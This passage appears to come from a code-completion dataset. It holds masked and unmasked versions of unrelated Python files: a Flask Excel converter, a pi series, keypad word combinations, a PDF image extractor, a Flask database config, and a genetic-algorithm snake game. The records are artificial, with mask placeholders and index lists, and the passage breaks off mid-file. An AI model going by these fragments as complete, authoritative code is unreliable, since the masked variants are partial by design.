GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit('.', 1)[0] + '.xlsx')
df.to_excel(GFG, index=False, encoding='utf-8')
#output_stream = open(app.config['DOWNLOAD_FOLDER'] + 'output.xlsx', 'wb')
#GFG.write(output_stream)
GFG.save()
@app.route('/uploads/<filename>')
def uploaded_file(filename):
return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.rsplit('.', 1)[0] + '.xlsx', as_attachment=True)
if __name__ == '__main__':
port = int(os.environ.get("PORT", 5000))
app.run(host='0.0.0.0', port=port) | [
4,
6,
7,
8,
9
] |
9,964 | 466148395a4141793b5f92c84513fd093876db76 | <mask token>
| <mask token>
if number_of_terms >= 1:
add_approximation = 0
for count in range(1, number_of_terms):
approximation = (-1) ** (count + 1) / (2 * count - 1)
add_approximation = approximation + add_approximation
solution = add_approximation * 4
print('Approxiation of pi: %1.5f' % solution)
else:
print('The number of terms must be greater than zero.')
| number_of_terms = int(input('How many terms? '))
number_of_terms = number_of_terms + 1
if number_of_terms >= 1:
add_approximation = 0
for count in range(1, number_of_terms):
approximation = (-1) ** (count + 1) / (2 * count - 1)
add_approximation = approximation + add_approximation
solution = add_approximation * 4
print('Approxiation of pi: %1.5f' % solution)
else:
print('The number of terms must be greater than zero.')
| #--------------------------------------------------------
# File------------project2.py
# Developer-------Paige Weber
# Course----------CS1213-03
# Project---------Project #1
# Due-------------September 26, 2017
#
# This program uses Gregory-Leibniz series to compute
# an approximate value of pi.
#--------------------------------------------------------
number_of_terms = int(input("How many terms? "))
number_of_terms = number_of_terms + 1
if number_of_terms >= 1:
add_approximation = 0
for count in range (1, number_of_terms):
approximation = (((-1)**(count + 1))/(2 * count - 1))
add_approximation = approximation + add_approximation
solution = add_approximation * 4
print("Approxiation of pi: %1.5f"%solution)
else:
print("The number of terms must be greater than zero.")
| null | [
0,
1,
2,
3
] |
9,965 | 5f237a820832181395de845cc25b661878c334e4 | <mask token>
| <mask token>
def possibleWords(a, N, index=0, s=''):
if index == N:
final.append(s)
print(s, end=' ')
return
possible_chars = refer[a[0]]
for i in possible_chars:
s += i
possibleWords(a[1:], N, index + 1, s)
s = s[:-1]
| final = []
refer = {(2): 'abc', (3): 'def', (4): 'ghi', (5): 'jkl', (6): 'mno', (7):
'pqrs', (8): 'tuv', (9): 'wxyz'}
def possibleWords(a, N, index=0, s=''):
if index == N:
final.append(s)
print(s, end=' ')
return
possible_chars = refer[a[0]]
for i in possible_chars:
s += i
possibleWords(a[1:], N, index + 1, s)
s = s[:-1]
| final=[]
refer={2:'abc',3:'def',4:'ghi',5:'jkl',6:'mno',7:'pqrs',8:'tuv',9:'wxyz'}
##Complete this function
def possibleWords(a,N,index=0,s=''):
##Your code here
if index==N:
final.append(s)
print(s, end=' ')
return
possible_chars=refer[a[0]]
for i in possible_chars:
s+= i
possibleWords(a[1:],N,index+1,s)
s=s[:-1]
| null | [
0,
1,
2,
3
] |
9,966 | c6113088f45951bc4c787760b6ca0138265fb83f | <mask token>
def download_pdf(url, folder, name):
r = requests.get(url, allow_redirects=True)
file_path = join(folder, name + '.pdf')
open(file_path, 'wb').write(r.content)
return file_path
<mask token>
def pdf_2_images(url, dest_path):
new_file, filename = download_pdf_to_temp(url)
save_pdf_image(filename, dest_path)
os.close(new_file)
| <mask token>
def download_pdf(url, folder, name):
r = requests.get(url, allow_redirects=True)
file_path = join(folder, name + '.pdf')
open(file_path, 'wb').write(r.content)
return file_path
def download_pdf_to_temp(url):
new_file, filename = tempfile.mkstemp()
r = requests.get(url, allow_redirects=True)
os.write(new_file, r.content)
return new_file, filename
<mask token>
def pdf_2_images(url, dest_path):
new_file, filename = download_pdf_to_temp(url)
save_pdf_image(filename, dest_path)
os.close(new_file)
| <mask token>
def download_pdf(url, folder, name):
r = requests.get(url, allow_redirects=True)
file_path = join(folder, name + '.pdf')
open(file_path, 'wb').write(r.content)
return file_path
def download_pdf_to_temp(url):
new_file, filename = tempfile.mkstemp()
r = requests.get(url, allow_redirects=True)
os.write(new_file, r.content)
return new_file, filename
def save_pdf_image(file_path, dest_path):
Path(dest_path).mkdir(parents=True, exist_ok=True)
doc = fitz.open(file_path)
i = 1
images_name = list()
xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not xref
[0] in [10, 25, 26]])
maximum_digits = len(str(len(xrefs) * 3))
for xref in tqdm(xrefs):
pix = fitz.Pixmap(doc, xref)
index = f'{i:0{maximum_digits}}'
img_name = 'image--{}.jpg'.format(index)
img_path = join(dest_path, img_name)
if not exists(img_path):
if pix.n >= 5:
pix = fitz.Pixmap(fitz.csRGB, pix)
pix.writeImage(img_path)
images_name.append(xref)
i += 3
def pdf_2_images(url, dest_path):
new_file, filename = download_pdf_to_temp(url)
save_pdf_image(filename, dest_path)
os.close(new_file)
| import requests
from os.path import join, exists
import os
import fitz
from tqdm import tqdm
from pathlib import Path
import tempfile
def download_pdf(url, folder, name):
r = requests.get(url, allow_redirects=True)
file_path = join(folder, name + '.pdf')
open(file_path, 'wb').write(r.content)
return file_path
def download_pdf_to_temp(url):
new_file, filename = tempfile.mkstemp()
r = requests.get(url, allow_redirects=True)
os.write(new_file, r.content)
return new_file, filename
def save_pdf_image(file_path, dest_path):
Path(dest_path).mkdir(parents=True, exist_ok=True)
doc = fitz.open(file_path)
i = 1
images_name = list()
xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not xref
[0] in [10, 25, 26]])
maximum_digits = len(str(len(xrefs) * 3))
for xref in tqdm(xrefs):
pix = fitz.Pixmap(doc, xref)
index = f'{i:0{maximum_digits}}'
img_name = 'image--{}.jpg'.format(index)
img_path = join(dest_path, img_name)
if not exists(img_path):
if pix.n >= 5:
pix = fitz.Pixmap(fitz.csRGB, pix)
pix.writeImage(img_path)
images_name.append(xref)
i += 3
def pdf_2_images(url, dest_path):
new_file, filename = download_pdf_to_temp(url)
save_pdf_image(filename, dest_path)
os.close(new_file)
| import requests
from os.path import join, exists
import os
import fitz
from tqdm import tqdm
from pathlib import Path
import tempfile
def download_pdf(url, folder, name):
r = requests.get(url, allow_redirects=True)
file_path = join(folder, name + ".pdf")
open(file_path, 'wb').write(r.content)
return file_path
def download_pdf_to_temp(url):
new_file, filename = tempfile.mkstemp()
r = requests.get(url, allow_redirects=True)
os.write(new_file, r.content)
return new_file, filename
def save_pdf_image(file_path, dest_path):
Path(dest_path).mkdir(parents=True, exist_ok=True)
doc = fitz.open(file_path)
i = 1
images_name = list()
xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not(xref[0] in [10, 25, 26])])
maximum_digits = len(str(len(xrefs)*3))
for xref in tqdm(xrefs):
pix = fitz.Pixmap(doc, xref)
index = f'{i:0{maximum_digits}}'
img_name = "image--{}.jpg".format(index)
img_path = join(dest_path, img_name)
if not(exists(img_path)):
if pix.n >= 5:
pix = fitz.Pixmap(fitz.csRGB, pix)
pix.writeImage(img_path)
images_name.append(xref)
i += 3
def pdf_2_images(url, dest_path):
new_file, filename = download_pdf_to_temp(url)
save_pdf_image(filename, dest_path)
os.close(new_file) | [
2,
3,
4,
5,
6
] |
9,967 | f20e2227821c43de17c116d8c11233eda53ab631 | <mask token>
@app.route('/')
def index():
return os.getenv('DB_HOST')
| <mask token>
load_dotenv(verbose=True)
<mask token>
if bool(os.getenv('IS_DEV')):
logger = logging.getLogger('orator.connection.queries')
logger.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(elapsed_time)sms %(query)s')
handler = logging.StreamHandler()
handler.setFormatter(formatter)
logger.addHandler(handler)
@app.route('/')
def index():
return os.getenv('DB_HOST')
| <mask token>
load_dotenv(verbose=True)
app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')
app.config['JSON_SORT_KEYS'] = False
app.config['ORATOR_DATABASES'] = {'default': 'mysql', 'mysql': {'driver':
'mysql', 'host': os.getenv('DB_HOST'), 'database': os.getenv('DB_NAME'),
'user': os.getenv('DB_USER'), 'password': os.getenv('DB_PASSWORD'),
'prefix': '', 'log_queries': bool(os.getenv('LOG_QUERIES'))}}
app.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY')
app.config['JWT_TOKEN_LOCATION'] = ['headers']
db = Orator(app)
jwt = JWTManager(app)
if bool(os.getenv('IS_DEV')):
logger = logging.getLogger('orator.connection.queries')
logger.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(elapsed_time)sms %(query)s')
handler = logging.StreamHandler()
handler.setFormatter(formatter)
logger.addHandler(handler)
@app.route('/')
def index():
return os.getenv('DB_HOST')
| import os
import logging
from flask import Flask
from flask_orator import Orator
from flask_jwt_extended import JWTManager
from dotenv import load_dotenv
load_dotenv(verbose=True)
app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')
app.config['JSON_SORT_KEYS'] = False
app.config['ORATOR_DATABASES'] = {'default': 'mysql', 'mysql': {'driver':
'mysql', 'host': os.getenv('DB_HOST'), 'database': os.getenv('DB_NAME'),
'user': os.getenv('DB_USER'), 'password': os.getenv('DB_PASSWORD'),
'prefix': '', 'log_queries': bool(os.getenv('LOG_QUERIES'))}}
app.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY')
app.config['JWT_TOKEN_LOCATION'] = ['headers']
db = Orator(app)
jwt = JWTManager(app)
if bool(os.getenv('IS_DEV')):
logger = logging.getLogger('orator.connection.queries')
logger.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(elapsed_time)sms %(query)s')
handler = logging.StreamHandler()
handler.setFormatter(formatter)
logger.addHandler(handler)
@app.route('/')
def index():
return os.getenv('DB_HOST')
| import os
import logging
from flask import Flask
from flask_orator import Orator
from flask_jwt_extended import JWTManager
from dotenv import load_dotenv
load_dotenv(verbose=True)
app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')
app.config['JSON_SORT_KEYS'] = False
app.config['ORATOR_DATABASES'] = {
'default': 'mysql',
'mysql': {
'driver': 'mysql',
'host': os.getenv('DB_HOST'),
'database': os.getenv('DB_NAME'),
'user': os.getenv('DB_USER'),
'password': os.getenv('DB_PASSWORD'),
'prefix': '',
'log_queries': bool(os.getenv('LOG_QUERIES'))
}
}
app.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY') # Change this!
app.config['JWT_TOKEN_LOCATION'] = ['headers'] # headers', 'cookies', 'query_string', 'json'
db = Orator(app)
jwt = JWTManager(app)
if bool(os.getenv('IS_DEV')):
logger = logging.getLogger('orator.connection.queries')
logger.setLevel(logging.DEBUG)
formatter = logging.Formatter(
'%(elapsed_time)sms %(query)s'
)
handler = logging.StreamHandler()
handler.setFormatter(formatter)
logger.addHandler(handler)
@app.route('/')
def index():
return os.getenv('DB_HOST')
| [
1,
2,
3,
4,
5
] |
9,968 | beccae96b3b2c9dcd61bb538d07b85441a73662e | <mask token>
| <mask token>
def puissance(x, n):
if n == 0:
return 1
else:
return x * puissance(x, n - 1)
<mask token>
| <mask token>
def puissance(x, n):
if n == 0:
return 1
else:
return x * puissance(x, n - 1)
print(puissance(number, exposant))
| number = int(input('entrez un entier:'))
exposant = int(input('entrez un exposant:'))
def puissance(x, n):
if n == 0:
return 1
else:
return x * puissance(x, n - 1)
print(puissance(number, exposant))
| number = int(input("entrez un entier:"))
exposant = int(input("entrez un exposant:"))
def puissance(x, n):
if n == 0:
return 1
else:
return x * puissance(x, n-1)
print(puissance(number, exposant))
| [
0,
1,
2,
3,
4
] |
9,969 | fc1b9ab1fb1ae71d70b3bf5c879a5f604ddef997 | <mask token>
def save_pool():
for i in range(total_models):
current_pool[i].save_weights(save_location + str(i) + '.keras')
print('Pool saved')
def create_model():
"""
Create Neural Network as a keras model
"""
model = Sequential()
model.add(Dense(12, input_dim=8, activation='relu'))
model.add(Dense(16, activation='relu'))
model.add(Dense(4, activation='sigmoid'))
model.compile(loss='mse', optimizer='adam')
return model
def predict_direction(snake, fruit, model_num):
"""
This function feeds information into the model, then determines
which direction the snake should go
"""
direction = snake.check_head()
fruit = snake.check_fruit(fruit)
n_input = np.concatenate([direction, fruit])
n_input = np.atleast_2d(n_input)
output = current_pool[model_num].predict(n_input, 1)
return output.argmax()
<mask token>
class App:
"""
Main App for game
"""
def __init__(self):
self._running = True
self._display_surf = None
self.size = self.width, self.height = WIDTH, HEIGHT
self.clock = None
self.snake = Snake()
self.fruit = Fruit()
self.pause = False
self.moves = 0
self.frames = 11
def on_init(self):
pygame.init()
self._display_surf = pygame.display.set_mode(self.size, pygame.
HWSURFACE | pygame.DOUBLEBUF)
self._running = True
self.clock = pygame.time.Clock()
def on_event(self, event):
if event.type == pygame.QUIT:
self._running = False
if event.type == pygame.KEYDOWN:
if event.key == K_UP:
if self.frames < 1000000000:
self.frames *= 10
elif event.key == K_DOWN:
if self.frames > 10:
self.frames /= 10
elif event.key == K_p:
self.pause = not self.pause
elif event.key == K_q:
self.on_cleanup()
def on_loop(self, model_num):
self.snake.alive = self.snake.collision(self.snake.position[0])
if self.snake.alive is False:
return
if self.snake.eat(self.fruit) is True:
fitness[model_num] += 150
score[model_num] += 1
self.moves = 0
self.snake.update()
if check_if_closer(self.snake, self.fruit):
fitness[model_num] += 10
self.moves += 1
def on_render(self, model_num):
self._display_surf.fill((0, 124, 0))
for i in range(0, int(GRID_D)):
for j in range(0, int(GRID_D)):
if (i + j) % 2 == 0:
block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (
BLOCK_W, BLOCK_H)))
pygame.draw.rect(self._display_surf, (0, 200, 0), block)
self.fruit.draw(self._display_surf)
self.snake.draw(self._display_surf)
pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +
str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +
str(self.frames))
pygame.display.update()
def on_cleanup(self):
pygame.quit()
sys.exit()
def on_execute(self, i):
if self.on_init() == False:
self._running = False
while self._running:
for event in pygame.event.get():
self.on_event(event)
self.snake.direction = predict_direction(self.snake, self.fruit, i)
if self.pause is False:
self.on_loop(i)
self.on_render(i)
self.clock.tick(self.frames)
if self.snake.alive == False or self.moves == MAX_MOVES:
print(int(self.snake.score))
self.snake.reset()
self.fruit.random_generate()
self.moves = 0
print(fitness[i])
break
print(int(self.snake.score))
<mask token>
| <mask token>
def save_pool():
for i in range(total_models):
current_pool[i].save_weights(save_location + str(i) + '.keras')
print('Pool saved')
def create_model():
"""
Create Neural Network as a keras model
"""
model = Sequential()
model.add(Dense(12, input_dim=8, activation='relu'))
model.add(Dense(16, activation='relu'))
model.add(Dense(4, activation='sigmoid'))
model.compile(loss='mse', optimizer='adam')
return model
def predict_direction(snake, fruit, model_num):
"""
This function feeds information into the model, then determines
which direction the snake should go
"""
direction = snake.check_head()
fruit = snake.check_fruit(fruit)
n_input = np.concatenate([direction, fruit])
n_input = np.atleast_2d(n_input)
output = current_pool[model_num].predict(n_input, 1)
return output.argmax()
<mask token>
def model_mutate(weights):
"""
Mutate the weights of a model
"""
for i in range(len(weights)):
for j in range(len(weights[i])):
if random.uniform(0, 1) > 0.7:
change = random.uniform(-0.5, 0.5)
weights[i][j] += change
return weights
<mask token>
def genetic_updates():
global current_pool
global fitness
global generation
new_weights = []
total_fitness = sum(fitness)
for i in range(total_models // 2):
parent_1 = roulette_selection(total_fitness)
parent_2 = roulette_selection(total_fitness)
new = model_crossover(parent_1, parent_2)
update_w1 = model_mutate(new[0])
update_w2 = model_mutate(new[1])
new_weights.append(update_w1)
new_weights.append(update_w2)
for i in range(len(new_weights)):
current_pool[i].set_weights(new_weights[i])
generation += 1
return
<mask token>
class App:
"""
Main App for game
"""
def __init__(self):
self._running = True
self._display_surf = None
self.size = self.width, self.height = WIDTH, HEIGHT
self.clock = None
self.snake = Snake()
self.fruit = Fruit()
self.pause = False
self.moves = 0
self.frames = 11
def on_init(self):
pygame.init()
self._display_surf = pygame.display.set_mode(self.size, pygame.
HWSURFACE | pygame.DOUBLEBUF)
self._running = True
self.clock = pygame.time.Clock()
def on_event(self, event):
if event.type == pygame.QUIT:
self._running = False
if event.type == pygame.KEYDOWN:
if event.key == K_UP:
if self.frames < 1000000000:
self.frames *= 10
elif event.key == K_DOWN:
if self.frames > 10:
self.frames /= 10
elif event.key == K_p:
self.pause = not self.pause
elif event.key == K_q:
self.on_cleanup()
def on_loop(self, model_num):
self.snake.alive = self.snake.collision(self.snake.position[0])
if self.snake.alive is False:
return
if self.snake.eat(self.fruit) is True:
fitness[model_num] += 150
score[model_num] += 1
self.moves = 0
self.snake.update()
if check_if_closer(self.snake, self.fruit):
fitness[model_num] += 10
self.moves += 1
def on_render(self, model_num):
self._display_surf.fill((0, 124, 0))
for i in range(0, int(GRID_D)):
for j in range(0, int(GRID_D)):
if (i + j) % 2 == 0:
block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (
BLOCK_W, BLOCK_H)))
pygame.draw.rect(self._display_surf, (0, 200, 0), block)
self.fruit.draw(self._display_surf)
self.snake.draw(self._display_surf)
pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +
str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +
str(self.frames))
pygame.display.update()
def on_cleanup(self):
pygame.quit()
sys.exit()
def on_execute(self, i):
if self.on_init() == False:
self._running = False
while self._running:
for event in pygame.event.get():
self.on_event(event)
self.snake.direction = predict_direction(self.snake, self.fruit, i)
if self.pause is False:
self.on_loop(i)
self.on_render(i)
self.clock.tick(self.frames)
if self.snake.alive == False or self.moves == MAX_MOVES:
print(int(self.snake.score))
self.snake.reset()
self.fruit.random_generate()
self.moves = 0
print(fitness[i])
break
print(int(self.snake.score))
<mask token>
| <mask token>
def save_pool():
for i in range(total_models):
current_pool[i].save_weights(save_location + str(i) + '.keras')
print('Pool saved')
def create_model():
"""
Create Neural Network as a keras model
"""
model = Sequential()
model.add(Dense(12, input_dim=8, activation='relu'))
model.add(Dense(16, activation='relu'))
model.add(Dense(4, activation='sigmoid'))
model.compile(loss='mse', optimizer='adam')
return model
def predict_direction(snake, fruit, model_num):
"""
This function feeds information into the model, then determines
which direction the snake should go
"""
direction = snake.check_head()
fruit = snake.check_fruit(fruit)
n_input = np.concatenate([direction, fruit])
n_input = np.atleast_2d(n_input)
output = current_pool[model_num].predict(n_input, 1)
return output.argmax()
<mask token>
def model_mutate(weights):
"""
Mutate the weights of a model
"""
for i in range(len(weights)):
for j in range(len(weights[i])):
if random.uniform(0, 1) > 0.7:
change = random.uniform(-0.5, 0.5)
weights[i][j] += change
return weights
def roulette_selection(total_fitness):
global fitness
choice = random.randint(0, total_fitness)
parent = 0
current = 0
for idx in range(total_models):
current += fitness[idx]
if current > choice:
parent = idx
break
return parent
def genetic_updates():
global current_pool
global fitness
global generation
new_weights = []
total_fitness = sum(fitness)
for i in range(total_models // 2):
parent_1 = roulette_selection(total_fitness)
parent_2 = roulette_selection(total_fitness)
new = model_crossover(parent_1, parent_2)
update_w1 = model_mutate(new[0])
update_w2 = model_mutate(new[1])
new_weights.append(update_w1)
new_weights.append(update_w2)
for i in range(len(new_weights)):
current_pool[i].set_weights(new_weights[i])
generation += 1
return
<mask token>
class App:
"""
Main App for game
"""
def __init__(self):
self._running = True
self._display_surf = None
self.size = self.width, self.height = WIDTH, HEIGHT
self.clock = None
self.snake = Snake()
self.fruit = Fruit()
self.pause = False
self.moves = 0
self.frames = 11
def on_init(self):
pygame.init()
self._display_surf = pygame.display.set_mode(self.size, pygame.
HWSURFACE | pygame.DOUBLEBUF)
self._running = True
self.clock = pygame.time.Clock()
def on_event(self, event):
if event.type == pygame.QUIT:
self._running = False
if event.type == pygame.KEYDOWN:
if event.key == K_UP:
if self.frames < 1000000000:
self.frames *= 10
elif event.key == K_DOWN:
if self.frames > 10:
self.frames /= 10
elif event.key == K_p:
self.pause = not self.pause
elif event.key == K_q:
self.on_cleanup()
def on_loop(self, model_num):
self.snake.alive = self.snake.collision(self.snake.position[0])
if self.snake.alive is False:
return
if self.snake.eat(self.fruit) is True:
fitness[model_num] += 150
score[model_num] += 1
self.moves = 0
self.snake.update()
if check_if_closer(self.snake, self.fruit):
fitness[model_num] += 10
self.moves += 1
def on_render(self, model_num):
self._display_surf.fill((0, 124, 0))
for i in range(0, int(GRID_D)):
for j in range(0, int(GRID_D)):
if (i + j) % 2 == 0:
block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (
BLOCK_W, BLOCK_H)))
pygame.draw.rect(self._display_surf, (0, 200, 0), block)
self.fruit.draw(self._display_surf)
self.snake.draw(self._display_surf)
pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +
str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +
str(self.frames))
pygame.display.update()
def on_cleanup(self):
pygame.quit()
sys.exit()
def on_execute(self, i):
if self.on_init() == False:
self._running = False
while self._running:
for event in pygame.event.get():
self.on_event(event)
self.snake.direction = predict_direction(self.snake, self.fruit, i)
if self.pause is False:
self.on_loop(i)
self.on_render(i)
self.clock.tick(self.frames)
if self.snake.alive == False or self.moves == MAX_MOVES:
print(int(self.snake.score))
self.snake.reset()
self.fruit.random_generate()
self.moves = 0
print(fitness[i])
break
print(int(self.snake.score))
<mask token>
| <mask token>
def save_pool():
for i in range(total_models):
current_pool[i].save_weights(save_location + str(i) + '.keras')
print('Pool saved')
def create_model():
"""
Create Neural Network as a keras model
"""
model = Sequential()
model.add(Dense(12, input_dim=8, activation='relu'))
model.add(Dense(16, activation='relu'))
model.add(Dense(4, activation='sigmoid'))
model.compile(loss='mse', optimizer='adam')
return model
def predict_direction(snake, fruit, model_num):
"""
This function feeds information into the model, then determines
which direction the snake should go
"""
direction = snake.check_head()
fruit = snake.check_fruit(fruit)
n_input = np.concatenate([direction, fruit])
n_input = np.atleast_2d(n_input)
output = current_pool[model_num].predict(n_input, 1)
return output.argmax()
def model_crossover(parent_1, parent_2):
"""
Produce offspring based on the best parents
"""
global current_pool
weight1 = current_pool[parent_1].get_weights()
weight2 = current_pool[parent_2].get_weights()
new_weight1 = weight1
new_weight2 = weight2
gene = random.randint(0, len(new_weight1) - 1)
new_weight1[gene] = weight2[gene]
new_weight2[gene] = weight1[gene]
return np.asarray([new_weight1, new_weight2])
def model_mutate(weights):
"""
Mutate the weights of a model
"""
for i in range(len(weights)):
for j in range(len(weights[i])):
if random.uniform(0, 1) > 0.7:
change = random.uniform(-0.5, 0.5)
weights[i][j] += change
return weights
def roulette_selection(total_fitness):
global fitness
choice = random.randint(0, total_fitness)
parent = 0
current = 0
for idx in range(total_models):
current += fitness[idx]
if current > choice:
parent = idx
break
return parent
def genetic_updates():
global current_pool
global fitness
global generation
new_weights = []
total_fitness = sum(fitness)
for i in range(total_models // 2):
parent_1 = roulette_selection(total_fitness)
parent_2 = roulette_selection(total_fitness)
new = model_crossover(parent_1, parent_2)
update_w1 = model_mutate(new[0])
update_w2 = model_mutate(new[1])
new_weights.append(update_w1)
new_weights.append(update_w2)
for i in range(len(new_weights)):
current_pool[i].set_weights(new_weights[i])
generation += 1
return
def check_if_closer(snake, fruit):
head = snake.position[0]
prev = snake.position[1]
head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] -
head[1]) ** 2)
prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] -
prev[1]) ** 2)
if head_dis > prev_dis:
return False
return True
class App:
"""
Main App for game
"""
def __init__(self):
self._running = True
self._display_surf = None
self.size = self.width, self.height = WIDTH, HEIGHT
self.clock = None
self.snake = Snake()
self.fruit = Fruit()
self.pause = False
self.moves = 0
self.frames = 11
def on_init(self):
pygame.init()
self._display_surf = pygame.display.set_mode(self.size, pygame.
HWSURFACE | pygame.DOUBLEBUF)
self._running = True
self.clock = pygame.time.Clock()
def on_event(self, event):
if event.type == pygame.QUIT:
self._running = False
if event.type == pygame.KEYDOWN:
if event.key == K_UP:
if self.frames < 1000000000:
self.frames *= 10
elif event.key == K_DOWN:
if self.frames > 10:
self.frames /= 10
elif event.key == K_p:
self.pause = not self.pause
elif event.key == K_q:
self.on_cleanup()
def on_loop(self, model_num):
self.snake.alive = self.snake.collision(self.snake.position[0])
if self.snake.alive is False:
return
if self.snake.eat(self.fruit) is True:
fitness[model_num] += 150
score[model_num] += 1
self.moves = 0
self.snake.update()
if check_if_closer(self.snake, self.fruit):
fitness[model_num] += 10
self.moves += 1
def on_render(self, model_num):
self._display_surf.fill((0, 124, 0))
for i in range(0, int(GRID_D)):
for j in range(0, int(GRID_D)):
if (i + j) % 2 == 0:
block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (
BLOCK_W, BLOCK_H)))
pygame.draw.rect(self._display_surf, (0, 200, 0), block)
self.fruit.draw(self._display_surf)
self.snake.draw(self._display_surf)
pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +
str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +
str(self.frames))
pygame.display.update()
def on_cleanup(self):
pygame.quit()
sys.exit()
def on_execute(self, i):
if self.on_init() == False:
self._running = False
while self._running:
for event in pygame.event.get():
self.on_event(event)
self.snake.direction = predict_direction(self.snake, self.fruit, i)
if self.pause is False:
self.on_loop(i)
self.on_render(i)
self.clock.tick(self.frames)
if self.snake.alive == False or self.moves == MAX_MOVES:
print(int(self.snake.score))
self.snake.reset()
self.fruit.random_generate()
self.moves = 0
print(fitness[i])
break
print(int(self.snake.score))
<mask token>
| import random
import sys
import math
import numpy as np
import tensorflow as tf
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Flatten, Conv2D, Activation
from snake_game import Snake
from snake_game import Fruit
import pygame
from pygame.locals import *
# Neural Network globals
total_models = 50
current_pool = []
fitness = []
generation = 264
# 1 if want to save pool, 0 if not
save = 0
save_location = "Saved_Models/model"
load = 1
load_location = "Saved_Models-better/model"
# Game configurations
WIDTH = 480
HEIGHT = 480
GRID_D = 12
BLOCK_W = WIDTH / GRID_D
BLOCK_H = HEIGHT / GRID_D
MAX_MOVES = 150
score = []
# Save models to file
def save_pool():
for i in range(total_models):
current_pool[i].save_weights(save_location + str(i) + ".keras")
print("Pool saved")
def create_model():
'''
Create Neural Network as a keras model
'''
model = Sequential()
model.add(Dense(12, input_dim = 8, activation = 'relu'))
model.add(Dense(16, activation = 'relu'))
model.add(Dense(4, activation = 'sigmoid'))
model.compile(loss='mse', optimizer='adam')
return model
def predict_direction(snake, fruit, model_num):
'''
This function feeds information into the model, then determines
which direction the snake should go
'''
direction = snake.check_head()
fruit = snake.check_fruit(fruit)
n_input = np.concatenate([direction, fruit])
n_input = np.atleast_2d(n_input)
output = current_pool[model_num].predict(n_input, 1)
return output.argmax()
def model_crossover(parent_1, parent_2):
'''
Produce offspring based on the best parents
'''
global current_pool
# Weight of parents
weight1 = current_pool[parent_1].get_weights()
weight2 = current_pool[parent_2].get_weights()
new_weight1 = weight1
new_weight2 = weight2
# Gene
gene = random.randint(0, len(new_weight1) - 1)
new_weight1[gene] = weight2[gene]
new_weight2[gene] = weight1[gene]
return np.asarray([new_weight1, new_weight2])
def model_mutate(weights):
'''
Mutate the weights of a model
'''
for i in range(len(weights)):
for j in range(len(weights[i])):
if (random.uniform(0, 1) > .7):
change = random.uniform(-.5,.5)
weights[i][j] += change
return weights
def roulette_selection(total_fitness):
global fitness
choice = random.randint(0, total_fitness)
parent = 0
current = 0
for idx in range(total_models):
current += fitness[idx]
if current > choice:
parent = idx
break
return parent
def genetic_updates():
global current_pool
global fitness
global generation
new_weights = []
# Calculate total fitness
total_fitness = sum(fitness)
# Breeding time
for i in range(total_models // 2):
# Pick two parents
parent_1 = roulette_selection(total_fitness)
parent_2 = roulette_selection(total_fitness)
# Model crossover between two parents
new = model_crossover(parent_1, parent_2)
# Mutate models
update_w1 = model_mutate(new[0])
update_w2 = model_mutate(new[1])
new_weights.append(update_w1)
new_weights.append(update_w2)
# Set new weights, reset fitness
for i in range(len(new_weights)):
current_pool[i].set_weights(new_weights[i])
generation += 1
return
def check_if_closer(snake, fruit):
head = snake.position[0]
prev = snake.position[1]
# Calculate the heads distance from the fruit, and the previous spot
# to see if it got closer
head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] - head[1]) ** 2)
prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] - prev[1]) ** 2)
if head_dis > prev_dis:
return False
return True
class App:
'''
Main App for game
'''
def __init__(self):
self._running = True
self._display_surf = None
self.size = self.width, self.height = WIDTH, HEIGHT
self.clock = None
self.snake = Snake()
self.fruit = Fruit()
self.pause = False
self.moves = 0
self.frames = 11
def on_init(self):
pygame.init()
self._display_surf = pygame.display.set_mode(self.size, pygame.HWSURFACE | pygame.DOUBLEBUF)
self._running = True
self.clock = pygame.time.Clock()
def on_event(self, event):
# Quit game
if event.type == pygame.QUIT:
self._running = False
# Change direction of snake
if event.type == pygame.KEYDOWN:
if event.key == K_UP:
# Increase speed of game
if self.frames < 1000000000:
self.frames *= 10
elif event.key == K_DOWN:
# Decrease speed of game
if self.frames > 10:
self.frames /= 10
elif event.key == K_p:
self.pause = not self.pause
elif event.key == K_q:
self.on_cleanup()
def on_loop(self, model_num):
self.snake.alive = self.snake.collision(self.snake.position[0])
if self.snake.alive is False:
return
if self.snake.eat(self.fruit) is True:
# Adjust fitness, reset move counter
fitness[model_num] += 150
score[model_num] += 1
self.moves = 0
self.snake.update()
if check_if_closer(self.snake, self.fruit):
# Reward snake for moving towards fruit
fitness[model_num] += 10
self.moves += 1
def on_render(self, model_num):
self._display_surf.fill((0,124,0))
# Fill every other space to create a multi color grid
for i in range(0, int(GRID_D)):
for j in range(0, int(GRID_D)):
if (i + j) % 2 == 0:
block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (BLOCK_W, BLOCK_H)))
